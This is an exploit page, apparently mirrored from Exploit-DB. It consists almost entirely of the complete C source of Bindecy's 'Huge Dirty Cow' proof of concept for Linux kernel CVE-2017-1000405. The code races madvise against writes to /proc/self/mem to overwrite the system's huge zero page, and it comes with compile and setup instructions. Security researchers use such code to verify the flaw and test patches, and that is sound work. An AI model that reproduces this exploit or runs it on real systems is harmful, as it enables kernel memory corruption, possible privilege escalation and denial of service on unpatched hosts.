ExploitFixes
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page 2017-11-30 16:05:03

// EDB Note: Source ~ https://medium.com/bindecy/huge-dirty-cow-cve-2017-1000405-110eca132de0
// EDB Note: Source ~ https://github.com/bindecy/HugeDirtyCowPOC
// Author Note: Before running, make sure to set transparent huge pages to "always": `echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled`
//

//
// The Huge Dirty Cow POC. This program overwrites the system's huge zero page.
// Compile with "gcc -pthread main.c"
//
// November 2017
// Bindecy
//

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <string.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>

#define MAP_BASE ((void *)0x4000000)
#define MAP_SIZE (0x200000)
#define MEMESET_VAL (0x41)
#define PAGE_SIZE (0x1000)
#define TRIES_PER_PAGE (20000000)

struct thread_args {
char *thp_map;
char *thp_chk_map;
off_t off;
char *buf_to_write;
int stop;
int mem_fd1;
int mem_fd2;
};

typedef void * (*pthread_proc)(void *);

void *unmap_and_read_thread(struct thread_args *args) {
char c;
int i;
for (i = 0; i < TRIES_PER_PAGE && !args->stop; i++) {
madvise(args->thp_map, MAP_SIZE, MADV_DONTNEED); // Discard the temporary COW page.

memcpy(&c, args->thp_map + args->off, sizeof(c));
read(args->mem_fd2, &c, sizeof(c));

lseek(args->mem_fd2, (off_t)(args->thp_map + args->off), SEEK_SET);
usleep(10); // We placed the zero page and marked its PMD as dirty.
// Give get_user_pages() another chance before madvise()-ing again.
}

return NULL;
}

void *write_thread(struct thread_args *args) {
int i;
for (i = 0; i < TRIES_PER_PAGE && !args->stop; i++) {
lseek(args->mem_fd1, (off_t)(args->thp_map + args->off), SEEK_SET);
madvise(args->thp_map, MAP_SIZE, MADV_DONTNEED); // Force follow_page_mask() to fail.
write(args->mem_fd1, args->buf_to_write, PAGE_SIZE);
}

return NULL;
}

void *wait_for_success(struct thread_args *args) {
while (args->thp_chk_map[args->off] != MEMESET_VAL) {
madvise(args->thp_chk_map, MAP_SIZE, MADV_DONTNEED);
sched_yield();
}

args->stop = 1;
return NULL;
}

int main() {
struct thread_args args;
void *thp_chk_map_addr;
int ret;

// Mapping base should be a multiple of the THP size, so we can work with the whole huge page.
args.thp_map = mmap(MAP_BASE, MAP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (args.thp_map == MAP_FAILED) {
perror("[!] mmap()");
return -1;
}
if (args.thp_map != MAP_BASE) {
fprintf(stderr, "[!] Didn't get desired base address for the vulnerable mapping.\n");
goto err_unmap1;
}

printf("[*] The beginning of the zero huge page: %lx\n", *(unsigned long *)args.thp_map);

thp_chk_map_addr = (char *)MAP_BASE + (MAP_SIZE * 2); // MAP_SIZE * 2 to avoid merge
args.thp_chk_map = mmap(thp_chk_map_addr, MAP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (args.thp_chk_map == MAP_FAILED) {
perror("[!] mmap()");
goto err_unmap1;
}
if (args.thp_chk_map != thp_chk_map_addr) {
fprintf(stderr, "[!] Didn't get desired base address for the check mapping.\n");
goto err_unmap2;
}

ret = madvise(args.thp_map, MAP_SIZE, MADV_HUGEPAGE);
ret |= madvise(args.thp_chk_map, MAP_SIZE, MADV_HUGEPAGE);
if (ret) {
perror("[!] madvise()");
goto err_unmap2;
}

args.buf_to_write = malloc(PAGE_SIZE);
if (!args.buf_to_write) {
perror("[!] malloc()");
goto err_unmap2;
}
memset(args.buf_to_write, MEMESET_VAL, PAGE_SIZE);

args.mem_fd1 = open("/proc/self/mem", O_RDWR);
if (args.mem_fd1 < 0) {
perror("[!] open()");
goto err_free;
}

args.mem_fd2 = open("/proc/self/mem", O_RDWR);
if (args.mem_fd2 < 0) {
perror("[!] open()");
goto err_close1;
}

printf("[*] Racing. Gonna take a while...\n");
args.off = 0;

// Overwrite every single page
while (args.off < MAP_SIZE) {
pthread_t threads[3];
args.stop = 0;

ret = pthread_create(&threads[0], NULL, (pthread_proc)wait_for_success, &args);
ret |= pthread_create(&threads[1], NULL, (pthread_proc)unmap_and_read_thread, &args);
ret |= pthread_create(&threads[2], NULL, (pthread_proc)write_thread, &args);

if (ret) {
perror("[!] pthread_create()");
goto err_close2;
}

pthread_join(threads[0], NULL); // This call will return only after the overwriting is done
pthread_join(threads[1], NULL);
pthread_join(threads[2], NULL);

args.off += PAGE_SIZE;
printf("[*] Done 0x%lx bytes\n", args.off);
}

printf("[*] Success!\n");

err_close2:
close(args.mem_fd2);
err_close1:
close(args.mem_fd1);
err_free:
free(args.buf_to_write);
err_unmap2:
munmap(args.thp_chk_map, MAP_SIZE);
err_unmap1:
munmap(args.thp_map, MAP_SIZE);

if (ret) {
fprintf(stderr, "[!] Exploit failed.\n");
}

return ret;
}